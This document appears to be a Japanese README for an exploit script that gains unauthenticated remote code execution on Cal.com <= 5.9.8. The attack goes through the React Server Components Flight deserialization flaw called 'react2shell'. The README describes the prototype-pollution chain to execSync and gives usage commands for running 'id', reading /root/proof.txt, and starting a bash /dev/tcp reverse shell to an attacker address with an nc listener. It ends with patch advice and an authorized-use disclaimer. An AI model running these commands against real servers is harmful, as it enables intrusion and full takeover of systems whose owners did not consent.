
Cal.com <= 5.9.8 における、React Server Components "Flight" のデシリアライゼーションの欠陥を介した未認証リモートコード実行 —
「react2shell」(React の CVE-2025-55182、Next.js の CVE-2025-66478)。
Cal.com には脆弱な Next.js 15.x が同梱されています。Next-Action ヘッダーと細工された multipart Flight ペイロードを伴う単一の未認証 POST / により、プロトタイプ汚染チェーン(__proto__:then + constructor:constructor)を経由してサーバーサイドの eval に到達し、child_process.execSync に至ります。コマンドの出力は RSC エラーの digest フィールドにインラインで返されます。認証もユーザー操作も不要 — 単一のリクエストで RCE が成立します。
<= 5.9.8(Next.js 15.x / 16.x App Router + RSC)5.9.9(同梱の Next.js をアップデート)3000pip install requests
# ワンショットコマンド(出力はレスポンスに含まれて返ります)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# 対話型リバースシェル(先に `nc -lvnp 4444` を起動してください)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
ワンショットコマンドは、その出力を RSC エラーの digest 経由でインラインに返します。--shell モードは setsid で切り離された bash /dev/tcp リバースシェルを起動します(ターゲットのコンテナは Debian で bash が同梱されています)。
Cal.com を >= 5.9.9 にアップグレードしてください(修正済みの任意の Next.js: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7)。RSC のサーバー関数ハンドラを信頼できないクライアントに公開しないでください。また、アプリコンテナを root で実行しないでください。
許可されたセキュリティテストおよび教育目的にのみ使用してください。自分が所有しているシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。